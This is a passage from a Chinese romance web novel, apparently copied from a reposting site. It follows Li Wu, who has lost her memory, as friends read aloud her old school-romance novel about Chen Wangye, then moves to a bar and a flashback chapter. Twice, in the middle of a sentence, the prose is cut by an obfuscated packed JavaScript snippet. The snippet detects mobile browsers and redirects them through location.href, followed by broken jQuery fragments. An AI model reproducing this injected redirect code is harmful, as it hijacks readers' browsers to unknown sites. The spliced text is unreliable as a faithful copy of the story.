怎么说呢,就是掉进了自己编的蜘蛛网里,进退两难。 从小说描述来看,某人小时候和现在确实没啥区别,都是那种不可一世的拽样。 非要说的话就是现在好像更厚脸皮更不要脸了。 她语气恹恹的:“不会是我狂追的他吧,甚至还要写一篇小说来纪念这段爱情,这得多爱啊。” 然后分手之后太心痛,所以不惜失忆也要忘记和他的过往? 太可怕了。 恋爱脑。 但光看小说也没觉得自己有这么舔啊,但这毕竟是自己的小说,有美化也正常。 黎雾思绪飘远,正思考着呢,就听见陈明清看热闹不嫌事儿大地扯着脖子朝厨房嚷嚷:“哥——她们背着你在聊写你小说的事儿呢!” 气得黎雾一个抱枕扔过去,划过一道弧线,正正好好砸在他脑门:“就你长嘴了是吧。” 陈明清捂着自己被砸疼的额头,心说,这夫妻俩还真是顶配绝配天仙配,连用抱枕揍人的准头都是一样的。 打人只打脸。 - 陈忘野刚好刷完碗过来,瞥了她一眼,看她歪七扭八地躺在沙发,一个人就占了大半,一副主人的模样。煤球舒舒服服地窝在她的颈窝处,毛茸茸的脸贴着她的下巴。 这是彻底认了妈了。 他移开目光,漫不经心地落了句:“哦对,你那小说写的有bug,等你想起密码记得改改。” “什么bug?”黎雾有点兴奋,眼睛亮亮地看他。 不会当事人要说,其实这写的不是他吧? 然后就听见陈忘野语调悠悠:“我不是185+。” 黎雾一愣:“啊不是吧?身高还能缩啊?” 刚要出口的话被噎了一下,陈忘野眉心一跳,闭眼呼了口气,唇线拉直:“我是187+。” 黎雾:? …… 她刚想吐槽,就见陈忘野慢悠悠地点开手机,清清嗓子,像念课文一样,一字一顿,字正腔圆地念了句:“那男生约莫17、8岁的模样。身材高大,轮廓分明,五官生得极好。” 他扯着唇角笑:“没想到在你眼里我这么帅。” 此话一出,胡桃和陈明清在旁边拍着大腿“啪啪”响,已经快笑晕了。 “哥,骚还是你骚。” 他手指在手机屏幕上缓缓滑动,找到一段满意的就继续往下念,语气刻意正经,慢条斯理,更显讽刺:“少年嘴角一扯,垂眼看他,那神情傲慢得像在看个笑话。” “啊啊啊啊啊啊!” 黎雾捂耳朵,“能不能别再鞭尸了啊!?” “哈哈哈哈哈哈哈哈哈哈哈哈哈草。”陈明清也绷不住,笑得上气不接下气,腰都直不起来了,“梨花花,我抄过你那么多周记随笔,以前也没觉得你文笔这么咯噔啊。” “啊啊啊啊啊啊啊啊救命啊!”黎雾脚趾抓地,恨不得掏个洞把自己埋进沙发里。 “自己写的,自己也羞耻吗?”陈忘野盯着她看了两秒,问道。 其实他还挺喜欢她写的这篇文章的。 在她看来,却是这么不堪入目吗? 他的表情忽地暗淡了些。 “不是,你们语文课没被老师念过作文吗?不羞耻吗???”黎雾咆哮,“尤其是当反例被念的时候。” “羞耻啊!”胡桃皱鼻子,“但黎黎你什么时候被当过反例啊?” “我是没被当过反例,但是我共情能力强啊!我会替人尴尬,我现在是替过去的自己尴尬!” “但我是有原因的啊!”黎雾吞吞嗓子,也不顾正主是不是就在旁边了,一不留神就说了心里话,“说实话我看到一半冷汗都下来了…我最讨厌小太阳女主拯救冰山阴翳男主的戏码了,所以人终究会变成自己最讨厌的样子吗??” “不是我有偏见啊,但你们读读这第一章的人设,抽烟校霸小混混x明媚学神乖乖女。可能这种文确实是有受众吧,但真的不是我的菜。” 在这些故事里,女主角总是那个主动靠近、努力包容的人,而男主角却只需要冷着脸、摆着伤痕,就能理所当然地接受一切。 冷漠的男主用侮辱甚至霸凌的方式引起女主的注意,哪怕言辞再刻薄,行为再恶劣,也会被解释为“他其实很脆弱,只是不懂怎么表达自己”。于是女主便要一次次包容他的坏脾气,一次次温暖他的冷漠,一次次低头去靠近他。 黎雾撇撇嘴,“可能是我年纪大了吧。我想看的是,势均力敌,相互扶持,共同成长。” 不要富家女救落魄男,不要娇弱女等英雄救,不要女强男弱,也不要女强男更强。 好吧好吧,她承认了,她就是网上最被人诟病的那种事儿多读者。 ——有本事你自己写啊? 哈哈,然后她就拉了这么一坨,自己都不忍直视。 她发誓以后再也不乱排雷了。 势均力敌? 陈明清挠挠耳朵,心说,这话怎么这么耳熟呢。 好像下午刚刚听谁说过。 他蹙蹙眉,难得替他哥说了句好话:“有一说一,他是挺冰山,也挺阴翳。” “但确实…” 陈忘野幽幽补充一句:“还没到需要你来拯救的地步。” “哈哈哈哈哈艹我知道你要说什么了。”陈明清忽地打断他,摆出一张冷脸,学着他哥的语气,冷漠又深情,“因为我会一万次奋不顾身地救自己于水火。” 说完这句,胡桃和陈明清又开始爆笑。 见黎雾发愣,陈明清笑的空隙还不忘给她解释,喘着气,“哦,这是他当年名言。” “有一次你们俩打赌吧,出去吃自助,比谁更能回本。” “胡桃给你俩接水,不知道是含酒精的,你们一杯接一杯的喝啊。”他手里比划着杯子的大小,夸张地模仿灌酒的动作,“喝到最后俩人都晕了,抱头痛哭,然后他就说那个了。你可感动了,又哐哐炫了两大盘,说要给他助兴,后来你吃完就肠胃炎了,还瘦了三斤。” 黎雾汗颜。 “我以前这么疯吗?” “你现在也疯啊。”胡桃没忍住吐槽,“他也疯,你们算疯到一起了。” 她给自己挽尊:“好吧,这叫活得比较极致,随性。” 陈忘野“咳咳”两声,提醒道:“跑题了。” “哦,重新说回小说。”黎雾仰头看他,张口就来,“你知道的,艺术来源于生活,高于生活,我们作者写文的时候那是要进行改编的。” “还有比如某些句子,那就是在抖机灵,一种夸张的手法,博人一笑。” 她忍住尴尬,翻了几页小说,找到一行,“你看,比如这句‘问他内裤颜色是不是粉的,都怕他说,嗯。’”她仰头朝他讪笑,“你看你肯定就不会说嗯,对不对?” 不知道是不是故意和她作对,非想要证明些什么。陈忘野没回答,只是懒洋洋地歪着身子靠在墙上,垂眸盯着她看。 安静了两秒。 黎雾汗都要滴下来了:“你不会真要说嗯吧。” 他扬唇懒懒应了声:“嗯。” “真是粉的啊?” “嗯。” “哈哈哈哈哈靠,”陈明清又兴奋了,“哥,不愧是你,真够骚的,这你都记得清清楚楚?” 然后就听见他语气不正经,拖着尾音:“确实清楚,当时刚回国家里没有能换洗的,你就给了我一盒你的,说没穿过。” “哈哈哈是吗,所以因为是我的你才记那么清楚啊,粉色的。” “那倒不是。” 他语调拉长,“是因为,太,紧了。” 还特意强调了“太”字。 陈明清果然跳脚,“艹,老子可是18cm大x&#?@*!!!说谁小呢?????” 他双手在胯间比划着,企图证明什么。 黎雾思绪乱飞,一拍大腿,“怪不得呢,原来你是因为勒得难受,返校那一整天才坐立不安,着急交卷想赶紧走。” 陈忘野:“……” “所以说,我这个故事写得很片面,视角不同看到的结果也不同。”她从专业角度给他专业分析,手指在空中画着圈,“所以你看啊,这小说里只有我一个人的心理活动,视角也全是我的视角,所以才有这么多你的外貌描写,因为我只能写出我观察到的东西。” “哦。”胡桃先悟了,“我明白了,你是想说,虽然你看到他很冷漠,实际他内心没准已经波涛汹涌,写了10万字小作文了都有可能。没准你们两个都是一见钟情,但是你、不、知、道!” 她语气夸张,眼神在两人之间来回扫视。 “哈?????”黎雾愣。 胡桃摊手:“唉真可惜,看不到陈忘野的内心独白。” “我也仔细认真读读。”陈明清刚刚被说小,心里憋着口气,就想找茬发泄回去。 正好看到一个情节,他嗤笑一声,准备发个大招,故意压低声线,显得深沉:“哥,我知道你为什么现在过得这么憋屈了。” 陈忘野挑眉:“?” “你看啊,人家女生让你把烟掐了,说她不喜欢男生抽烟。你怎么回的,你说,‘你喜不喜欢和我有关?’,哈哈哈哈哈哈哈哈哈哈艹,懂了吧,这就是你们的命运。“陈明清幸灾乐祸地说。 "她喜不喜欢,和!你!没!关!"他一字一顿,每说一个字就用力点一下沙发。 陈忘野都无语了,懒得和傻子论长短,撇开眼神,眼底闪过一丝不自在。 提到抽烟,黎雾才想起来,眼睛一亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15133652|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“哦对,我都忘了。” 她从地毯上抓过自己的小包翻翻找找,从里面掏出个礼物递到他面前,“我刚刚给你买了一条烟,昨晚感谢你救我小命,还有这几天多有叨扰,实在不好意思。” 这也算是投其所好了吧。 看小说得到的灵感。 烟? 陈忘野看清东西愣了下,眼神复杂,但还是接过,撩下淡淡一句:“戒了。” “啊?为什么?”黎雾惊讶。 陈忘野抬眸,目光在她脸上停留了两秒。 难道不是有个人说她不喜欢吗? “那不是白买了。”黎雾撇嘴。 这可花了她不少钱呢。 陈忘野无奈,“与其说是戒了,其实就抽过那一次,还被你撞见了。” “所以你当时是出什么事了才抽烟?”她问。 他勾唇,不太正经:“你怎么不猜我就是找刺激?” 她没犹豫便作答:“你不像,能从你的眼睛里看出来。” 陈忘野一怔。 这和当年她说过的话一模一样。 那天雪花纷飞,她站在校门口,脸颊被冻得红扑扑的,却固执地站在他面前,说着同样的话。 …… 黎雾调整了姿势,没再瘫着,终于空出了半个沙发,陈忘野顺势坐在了她身旁,沙发因为多了一个人的重量而微微下陷,两人之间的距离比想象中更近,近到她能闻到他身上淡淡的木纯香。 似是早就看穿了她般,他问了句:“你是不是很希望这文是架空的,不是我们。” 黎雾没说话,只是低头看着自己的手指,指尖在沙发布料上轻轻摩挲,留下一道浅浅的痕迹。 然后听见他语气轻飘,“不过确实是有不现实的成分在。” “哪里?”黎雾好奇。 陈忘野语气闲散,“你写的小说和你本人性格不太一样。” “小说比你本人沉稳不少,虽然有些什么包书皮画彩笔桌子乱糟糟的小细节,但还是描述的,”他选了个合适的词,似笑非笑地说,“太克制了。” 他懒洋洋地偏头,声调幽幽直接戳破:“你平常最爱干的事就是咋咋唬唬搞点乌龙,除了学习好性格强,生活方面是一窍不通。” “有没有可能我就是个高冷女神。”黎雾战术性喝水,拿起桌边的茶壶,往杯子里倒水倒半天没倒出来,疑惑地眨了眨眼,打开壶盖。 哈哈…… …是木耳。 然后默默地把茶壶放了回去。 一切动作被陈忘野看在眼里,没忍住嘴角牵动笑了下,幅度很小,像是早已习以为常。 笑意从眼角悄然展开,又迅速消失。 她在小说里把自己写得好像很成熟稳重的样子,其实幼稚得不得了。 就拿掐烟那段来说,也根本不像她写得那样一笔带过。 …… 记忆中。 见第一面,她就很自来熟也没什么边界感,站在那里个头小小的,脾气却不小。 上来就让他把烟掐了,他不答应,她就像个张牙舞爪的小奶猫,抬手使劲扑扇眼前的烟,散不掉,就气得不行,鼻子皱在一起,眉毛都拧成一团。 大雪纷飞里,她穿着很厚的白色棉服,围巾堆到下巴,脸蛋白皙粉嫩,鼻尖冻得发红还不走,就站在原地瞪着他,像是跟他杠上了。 雪花落在她的睫毛上,又被温度融化,在她眨眼时化作细小的水珠。 她先是问他是不是隔壁职高的,他说不是,然后她就像个戒烟宣传大使一样,正式开启了自己的长篇大论,声音清脆:“不是我爱说教啊,但我看你不像坏学生,如果是不小心失足还挺可惜的。你是家里出什么事了才抽烟吗?” 他觉得有意思,顺着问:“你怎么不猜我就是找刺激?” 她摇摇头,头上的毛线帽也跟着一晃一晃:“你不像,能从你的眼睛里看出来。” “看出什么?“他饶有兴致。 她没回这句,继续分析:“而且你虽然点烟很熟练,可能是给别人点过?但你抽烟一点都不熟练,一看就是第一次,还被呛着了咳嗽那么半天。” 她甚至模仿了一下他咳嗽的样子,夸张地仰头捂胸。 “观察我这么仔细?”他话说得玩味。 她回答得倒是诚实,眼神坦荡:“恰巧路过,看你长得还不错就多看了一眼。” “我不知道你家里出什么事了,我也不好奇。咱们就是一面之缘,以后也不会再见,我就是好心提醒你。” 然后就像个蚊子一样开始在他耳边不知疲倦地碎碎念:“我的意思是,你是不是觉得一个人在这里颓废抽烟很帅啊,但你可能没见过真正抽烟抽多了的人是什么样子。一点都不帅,一点都不酷,牙还会黄,嘴还会臭,肺都黑了,以后你谈了恋爱都没有女孩子愿意和你接吻的。” 被她说烦了,他把烟掐灭,带着压迫感逼近,一步步靠近她,笑了下,眼神很淡漠,想吓唬她,“好,我不抽烟了你就和我接吻吗。” 本以为她会落荒而逃,结果她竟然认真思考了一会儿,没准还以为他是在跟她表白,被她“美救英雄”之后就恨不得以身相许了。 过了半晌,她拧着眉,抱歉和纠结写在脸上,一副实在不想伤害他又不得不说实情的样子:“不会…不好意思,我不喜欢比我弱的男生,长得再帅都不行。这里说的弱不只是成绩啊,更重要的是精神思想世界是不是贫瘠,有没有担当和责任感,但像你这样遇到生活中的一点小事就失足…的人…” OK。 当时他还以为她是在网上看了戒烟宣传片才说的这一大串,后来才知道她是亲身经历亲眼所见,说的是自己家那些只会吸血的大烟鬼穷亲戚。 发言虽然中二了点,但出发点是好的,没问题。但你听听,这话怎么都不该是跟第一次见面的男生说的吧。 怪就怪他看起来脾气太好了,对面真是个小混混的话,她也不怕人家直接抡起拳头就胖揍她一顿。 自己干过的荒唐事儿,她是一点儿都不往里写啊。 所以她到底从他眼睛里看出什么了? 陈忘野面不改色地翻出她写的小说,点开第一章,唰唰唰一目十行,找到了关键句。 「属于少年人的傲气,像是常年埋在积雪下倔强的野草,烧不尽,等一场春风。」 挺文艺,还挺唯美。 陈忘野漫不经心地把手机锁屏,扔进了兜里。 陈明清恰好看到他的表情,问了句。 “哥,你高兴什么呢?” 12.老板·撒旦 - 陈忘野面不改色,眼皮都没抬一下,“我哪高兴了。” “你眼睛鼻子嘴,还有你脸上这若隐若现的小酒窝不都写着呢吗。”陈明清指着自己的脸,扯着嘴角贱兮兮地模仿,笑都快咧到耳根了。 从他的角度来看,他哥起初还是那副面无表情的淡漠样子,不知道想到什么突然低头看了眼手机,眼角微挑。 正当他以为他又要嘴角抽搐,又哭又笑的时候,他忽地从鼻腔里逸出一声"哼"似的轻笑,嘴角绷直,笑容也显得浅。 意识到的瞬间,他低头不自在地轻咳了一声,转瞬恢复了正常。 微表情不多,但也足以和他以往漠然锋利,好像全世界都欠了他钱的死样子区分开来了。 趁着黎雾和胡桃回房间整理东西,客厅里只剩下兄弟二人,陈明清又一次报复式地贴脸开大,声音压得很低,但语气里的揶揄却一点不少,贼兮兮地说: “不是,你见到黎雾就这么开心啊。人家都把你忘了,你还开心呢?” “她可是还有个‘宇宙’哥哥呢,她是忘了,你没忘吧?” “我以前就知道你坚强,没想到你这么坚强。天塌下来都压不死,你这骨头硬得啊,比那老太太拿锤子怼了几十年都没碎的糍粑缸子还硬,弟弟我respect。” 这下陈忘野嘴角算是不用压了,颤了下,皮笑肉不笑,“显着你了?就你软,哪都软。” - 雪已经停了。 月色浓稠似绸缎,微光透过窗纱的缝隙,在墙面落下银色的光斑。 夜的喧嚣被稀释成遥远的呢喃,空气中只剩下小猫平稳且绵长的呼吸声。 这一夜,黎雾睡得格外安稳。 这段时间陈忘野应该是不会找她麻烦了。 在那场关于小说的深度谈话结束后,他那双看起来凶巴巴,看人总像在审视的眉眼总算舒展了些,眼角的锋利也收敛了不少。 几个人已经达成了共识。 首要任务是帮助她恢复记忆,想起网站密码,完成剧本,不让他公司损失。 每每想起他说的那句话——“这个影视分公司是我不顾反对硬要做的,一共到现在没做几个项目,都是亏本,这个项目再黄了就可以关门大吉了。” “你懂的,小本经营,不容易。” 黎雾还是会觉得自己确实是罪大恶极,为了不给人添麻烦,她决定要将记忆恢复提上日程了。她甚至在床头放了个小本子,一是记录生活,二是分析她那篇“校园文”,克服尴尬癌,用心体会,不放过每一个可能触发记忆的细节和线索。 睡前,黎雾在本子上记下:「CWY,粉内裤,>18cm。」 然后美美放笔。 次要任务就是住在家里喂喂猫,照顾照顾撒手7年没管的孩子。 汤圆似乎还记得她,闻了她几下后就高高甩起尾巴,发出“呼噜呼噜”的声响,像个小跟屁虫,她走到哪它跟到哪。 夜里还爬上她的床,用湿漉漉的鼻子蹭她的脸颊,和她一起睡。 再次要任务就是她承诺,没事的时候去他们夜店帮忙打打杂,也算是抵点房租和人情。 虽说她厚脸皮地住进来了,但还是想着等挣了钱要把房租还给陈明清。 想到这里,她叹了口气,感觉自己欠下的债越来越多。 …… 陈忘野工作很忙,昨晚吃完饭他很勤劳地刷了碗,给猫铲了屎,又拖了个地才离开,似乎一晚上都没回来。 她问他是不是要去“Gift”,他说是去公司,语气平淡,神色却有些疲倦。 听他说,最近公司在拍一组纪录片,主题是“科技与情感”,探讨现代科技如何重塑人类情感连接。剧组连续几天都在城郊采访,遇到了采访对象突然反悔、设备故障、天气变化等各种突发情况。 预算有限的情况下,他为了保证制作的质量,不得不亲自上阵协调各方,从联系新的采访对象到临时更换拍摄场地,事无巨细都要插手。就连编剧半夜发来的修改稿,他也要熬夜审阅,确保第二天拍摄能按计划进行。 当然这些都不在黎雾的操心范围。 她唯一在意的就只有,她半夜起床去卫生间,踩在冰凉的地板上,不放心又去检查了一遍连接两个屋子的通道门有没有锁好。门把手冰凉,她轻轻转动,确认已经锁上。 检查一通,她突然发现门上还有个猫眼,镶嵌在门的中央,反射着微弱的光。虽然不知道室内为什么也要装猫眼,但总之能透点光,她贼兮兮地望过去,看到那边还是漆黑一片。 啧,夜不归宿的男人。 - 这一觉一睡就是十几个小时。 黎雾再次醒来已经是第二天傍晚了,雪后的天空格外干净,天际被夕阳染成了淡红色,云朵像是被火烧过一般,一层层绽开。 她按照计划来到"Gift"。 推门进去时,暖风迎面而来,夹杂着酒精和柠檬的气息。 今天店里有舞台表演,晚上8点才营业,现在时间还早,她帮着做了些清扫和准备工作。 擦拭吧台的玻璃,摆放高脚杯,玻璃相互碰撞,声响清脆。 间隙,她靠在吧台边低头看着新酒单,纸质的菜单摸起来有些粗糙,但设计精美,每一页都有小插画和手写的文字说明。 她喃喃说,"嗯,他确实还挺有才华的。"手指停留在其中一款酒的描述。 “是吧!这些全都是野子哥搞的。” 说话的是店里一个打杂的小店员,很年轻,二十岁出头,皮肤黢黑,头上顶着个朋克风的爆炸头。 他说自己叫皮蛋,当初他妈妈生病没钱做手术,是陈忘野借给他的钱去做手术。 事后,他拎了几大箱自家腌的皮蛋来感谢他,于是就有了这个外号。 “陈忘野?”黎雾挑眉。 “对啊。”皮蛋语音激动,声音都提高了几分,清扫也不做了,拖把随意靠在墙边,跑过来和黎雾聊天,在旁边星星眼地说,“他那么善良!还那么全能,会经营,会唱歌,连调酒都会。” 黎雾点头,也没太惊讶,显得有些淡漠:“哦是吗,我还以为他工作很忙呢。” 见黎雾兴致不高,皮蛋拍拍袖子,那架势是要大干一场,势必要让所有人都知道他野子哥的魅力:“是很忙啊,他一般一个月也就来一两次,但只要他在就场场爆满,毕竟是咱“Gift”的门面啊,咱这家店就靠他撑场子。” “你知道吧,这条街竞争有多激烈,地段好租金高,客人又挑剔,每个月都得有十几家店倒闭吧。” “起初最开始清哥就是想做成个纯酒吧或者夜店,但开了一个月根本没啥人来差点就关门了,野子哥就说得创新啊,然后就做了这个酒单。” “但他说这灵感是别人给的,不是他想的。我觉得他就是谦虚。” 皮蛋滔滔不绝,越说越兴奋,唾沫星子横飞,“当时发在网上可火了,周围大学生都猎奇就来了。” “这精神状态多超前。”他把菜单推到黎雾面前。 桌上摆的是NPC专题。 「No.23 甲方的噩梦/No.24 社会等级爬梯器 /No.25 原生家庭逃生舱/No.26 灵魂伴侣召唤术 」 「No.27 希望值充值站 Hope Recharge Station 美好或许遥不可及,但NPC也有做梦的权利 #威士忌/蜂蜜利口酒/柠檬汁/薄荷/姜汁/20.7%」 她指指27号,很符合她当下的心境,“上次我喝过26号了,你一会儿能给我做一杯27号吗?” “没问题,我现在就给你做。” 在他凿冰块的空隙,黎雾忽地问:“就只是因为酒单大家就都来了?” “当然不只是了。” “那时候他正好有空,就过来唱歌,清哥还打印了他的超级大帅头海报挂在店外面。人啊,是乌泱乌泱地进。” 超级大帅头是什么鬼… 呃,这描述。 黎雾还没来得及吐槽,就听皮蛋越说越夸张:“当初我还以为他是哪退役的idol呢。” “那眼神,目中无人;那身姿,铁骨铮铮;那气质,孑然一身。” 啊?这几个词儿是好词吗… 不过实不相瞒,说到idol,她当时也这么以为的。 他整个人身上反差感很足,五官清俊淡漠,少年感十足,但气质很放肆,好像对什么都不屑一顾。 她还以为他是因为太嚣张得罪了人没出道成功,才流落到了这么一个不知名的小夜店里卖艺。 “所以是靠颜值吸引?”她问。 “靠才华啊!”皮蛋翻了个白眼,有点无语,“你那天不是听了吗,他唱得多好你还不知道啊。” 确实,唱歌的时候姿态很自由。 声音低沉却又清澈,像风一样,没什么能束缚住他。听他的声音,她就会莫名想起一个问题,人生究竟是轨道还是旷野。 哲学问题思考不出答案,但总之她是能看出来皮蛋是真爱他了。 毕竟救了他妈妈,还为他保住了一份工作,能不爱吗。 “你怎么知道我之前来过?”黎雾突然反应过来。 皮蛋面露难色,纠结了下还是开口,“你没注意到吗,当时进店的时候好多人都看你…” 不会以为自己裹着厚重的大棉服和大围巾,就能遮住颜值了吧。 当时店里的几个女店员,一直在讨论她。 “你不觉得她长得特像那谁吗?” “谁?” “就是演《xx日常》那个古装剧的,眼睛超大超漂亮的。” 他也顺着她们的目光看过去,距离很远,他看不清她的五官,只能看到她身形纤瘦,一头长发微卷搭在肩头,皮肤极白。整个人气质清新而灵动,即便在昏暗的灯光下也能轻易吸引目光。 他补充道:“但我关注你不是因为那个,是因为当时你喝多了跑出去,野子哥唱完那首歌,拿过你的围巾直接就冲出去追你了,我还是第一次见他跑得慌慌张张的样子。” 说着说着,他啧啧嘴。 还得是他哥啊,风一般的男人。 这效率,刚认识两天就给人拐进店里了。 黎雾没接这个话题,喝了一口刚被调好的“希望值充值站”,入口微甜,随后是威士忌的醇厚,最后是薄荷和姜的清新余韵,层次分明,她随口问:“所以陈忘野才是这家店的灵魂人物?” 皮蛋“嗯”了声,点头如捣蒜:“连店名都是他起的好像,本来听说最开始要叫‘Playboy’还是什么,野子哥说要是叫这名他一辈子都绝不再踏进这家店,清哥没办法就按他的意见改了…“ 聊到正热乎,黎雾手机突然响了,她脸色忽地沉了沉,“抱歉,我接个电话。” …… - 陈忘野到"Gift"的时候,人已经坐满了,人声和音乐嘈杂喧闹,空气中弥漫着香水和酒精的混合气息。 还有十分钟开演,舞台上的乐队正在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148408|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调试设备,发出断断续续的声音。 他在吧台边抓到了正在调酒的皮蛋。 “黎雾呢?”陈忘野问。 怕他不懂,他又补了句,“新来的那个 ,服务生。” 皮蛋心说,别装了,老板。 他都懂。 那可不是服务生。 ——是,老、板、娘。 “哦,她在里面打电话呢,都打了快俩小时了。” …… 陈忘野推开休息室门的瞬间,门轴发出轻微的吱呀声,他的脚步轻得几乎没有声音。 他刚好听到了一段对话。 黎雾开了视频,画面中是一个模糊的人影,话筒中男人清润的声音缓缓流出,像是溪水拍打着碎石,温柔而平静:“黎雾,你从来都不欠我什么。” “我对你的一切都是我心甘情愿的。” “如果你觉得你要偿还的都还清了,你心安就好。” 转头看见陈忘野进来的瞬间,黎雾的表情有一瞬间的怔愣,随即按断了电话。 屏幕变黑,她下意识退了一步,背抵在墙上。 陈忘野盯着她的反应,眸色渐深。 又是那个病娇狐狸男? 唱什么苦肉计。 “谁啊?”他嘴角挂着个不咸不淡的弧度,明知故问。 “你不认识。”黎雾将手机背在身后,指尖微微发白。 陈忘野神色懒散地盯着她看了几秒,半晌唇角一挑,语气不带温度,咬字清晰一字一顿,“我怎么不认识,何与昼。” “你怎么知道???”黎雾慌张。 “你还记得他,但是把我忘了是吧。”他靠近,居高临下地睨着她的神情,眼里的柔和散去,只剩冷淡。 “你记得陈明清,记得胡桃,记得煤球,连何与昼都记得,但是你把我忘了。” 每个字都像是带着刺,只扎在自己心上。 被他强大的气场压迫,黎雾说不出的心虚,连带着语气也弱了些,“很正常吧,陈明清和胡桃我们都是从小一起长大的。” “至于汤圆,它是我的亲亲小宝贝。” 她越说越没底气,背抵在墙面,墙壁的凉意透过衣服传来,她侧开眼神,“何与昼的话,这几年我天天都能见到他。” 声音越来越小,几乎像是在自言自语。 “你?”她把目光转回来,自下而上地看他,眼神复杂,欲言又止。 脸上“你算老几”几个大字写得清楚,被她吞下去,没说出口。 陈忘野明显是被“天天”这个词刺激到了,嘴角一颤,眸光闪烁,“退一万步说,煤球是你的亲亲小宝贝,那我就不能是你的……亲亲…” “什么?” 黎雾脑子发懵,下意识地接话,“大宝贝?” “罢了。”他放下手。 外面很喧闹,欢呼声传来。 “快点哥,该上台了。”皮蛋前来催促。 - 夜很静。 躺在床上,黎雾心情复杂,被子拉到下巴,双眼直视天花板,莫名想起了几小时前他离开休息室时,最后回头看了她一眼,眸光暗了不少,凉凉的。 她莫名想起了堕天使,路西法要变成撒旦了。 在被子里翻来覆去睡不着,床单被蹬得皱巴巴的,她把自己裹成一个蚕茧,摸过手机,点开小说app。 系统更新,跳出了一段她之前没看过的文案。 这是一个晋江味儿很冲的文案—— 「陈旺旺:你天天撺掇我去唱歌,不会是把我当你表哥一样防着吧,生怕我要抢你家生意。 李勿:哈哈怎么可能,是因为你唱歌的时候眼里的戾气都不见了,是真爱(和你看我的眼神一样)。 彼时,小清子和桃姬正在旁边念表白墙上写给李勿的情书,咯咯地乐。 她就在一旁边晃脚丫边刷物理竞赛的卷子,事不关己高高挂起。 你这次能进决赛吗?桃姬问,你们要不要赌谁名次高。 陈旺旺听着他们读情书莫名不爽,难得爽快地应下:可以啊,我要是赢了怎么办。 李勿不以为意:赢就赢了呗。 他坚持:你就说怎么办吧。 弟弟:要不赌上你的初吻。 陈旺旺眉眼有一丝波动。 李勿摇头:不行。 小清子故意激她:就是没信心呗。 陈旺旺:确实不好。 李勿还以为他能说出什么,结果他说,我赢了反倒吃亏呢,被占便宜。怕你明天就交白卷,生怕不输给我。 李勿:呵。 陈旺旺:输了可别哭。 那你要是输了,就…… 当我的狗吧。 陈狗狗。」 …… 黎雾合上手机,屏幕的光骤然熄灭,房间再次陷入黑暗。她又一次生无可恋,望着天花板,头脑发空。 像是一台被强行开机又关机再开机,反复多次CPU已经炸掉的电脑。 无力思考。 当天晚上她做了个梦—— 她依偎在他怀里,眼底含水,身体已经软得不成样子却还在仰头找他的嘴唇,像一只被人欺负还不自知,扔上岸的小鱼,毫无防备却贪得无厌地渴望氧气。 还在嘴硬。 她说,陈忘野。 你记得。 这次是我故意输给你的。 …… 深夜,黎雾被手机提醒声惊醒。 ——「您收藏的作者“雾非雾”更新了。」 13.学有·所成 - 《勿忘》【chapter.4 学有·所成】 - 表彰榜前,黎雾猛地回身,头发随之甩动,“啪”地扇在陈明清脸上:“谁?你说谁??谁是你哥??” “还能是谁啊。”陈明清捂着自己被扇痛的脸,翻了个白眼,抬手,手指点了点大红榜上黎雾脸边上签的龙飞凤舞的大名,“陈忘野呗。” “哦对我都忘了他昨天在你们班考的试啊,那你们是不是已经见过他了。”他拍拍自己的脸,在黎雾眼前晃了两下,露出两颗尖尖的虎牙,笑得猥琐,“是不是长得还可以,有我一半的风采。” 怎么说呢,五官倒是有两三分相似。 但气质,那是天壤之别。 就和那天小卖部里正义的店长大叔,跟他那不争气的讹人弟弟差不多。 听到这消息黎雾不是最震惊的,旁边胡桃下巴都快掉到地上了:“我靠,所以他说他有个弟弟说的是你啊?” “对啊?” “艹我还让他把他弟弟介绍给我呢,真是晦气!谁能想到他那么帅的人跟你共享DNA啊??” 黎雾没吱声,表彰榜前人头攒动,陈明清和胡桃两个人的聊天声渐渐淹没在周遭或热络或失落的空气中。 “你们是同父同母吗?”胡桃压低声音问,“还是说他是私生子啊?要不怎么在外游荡那么多年呢。” “别乱说,不是啊。”陈明清嗓子有点干,清了清。 “我有点印象,不是说你那哥前几年在美国小叔家吗,怎么突然回来了?” 她的眼睛亮晶晶的,全是八卦欲,“留洋大少爷回国继承家业?那你都没点危机感吗?” “我有什么危机感,我早就躺平了。”陈明清语调悠闲,“我很有自知之明的,只要别自甘堕落去沾黄赌毒,更别自命不凡去沾创业,就当个平平无奇吃喝玩乐游戏人间的富二代的话,我家的钱够我吃十辈子了。” “况且危机感还轮不到我头上吧,你看那。” 他下巴扬了扬指向一侧,胡桃顺着看过去,看到黎雾还盯着那张表彰榜,快要把那张纸盯穿了。 “唉,咱也得也理解她一下。”陈明清啧啧嘴,眼睛眯成一条缝,“中考就是市状元,高中这两年也打败天下无敌手,这次被我哥杀个措手不及,要我也受不住。” 胡桃慢悠悠地挪动到黎雾身边,戳了下她的肩膀,安慰道:“诶呀没事的,他只是有那么几科超过了你,但你看你总分还是断层第一呀。” 黎雾半晌没说话,胡桃近距离观察才发现,她的表情很复杂。 不是失落,不是慌张,不是焦虑,更不是愤怒,只能说有那么一点儿,出乎意料。 走廊的人流渐渐变得稀疏。 在胡桃以为她已经僵成了雕塑,风一吹就要化成粉末飘走的瞬间,黎雾忽然动了。 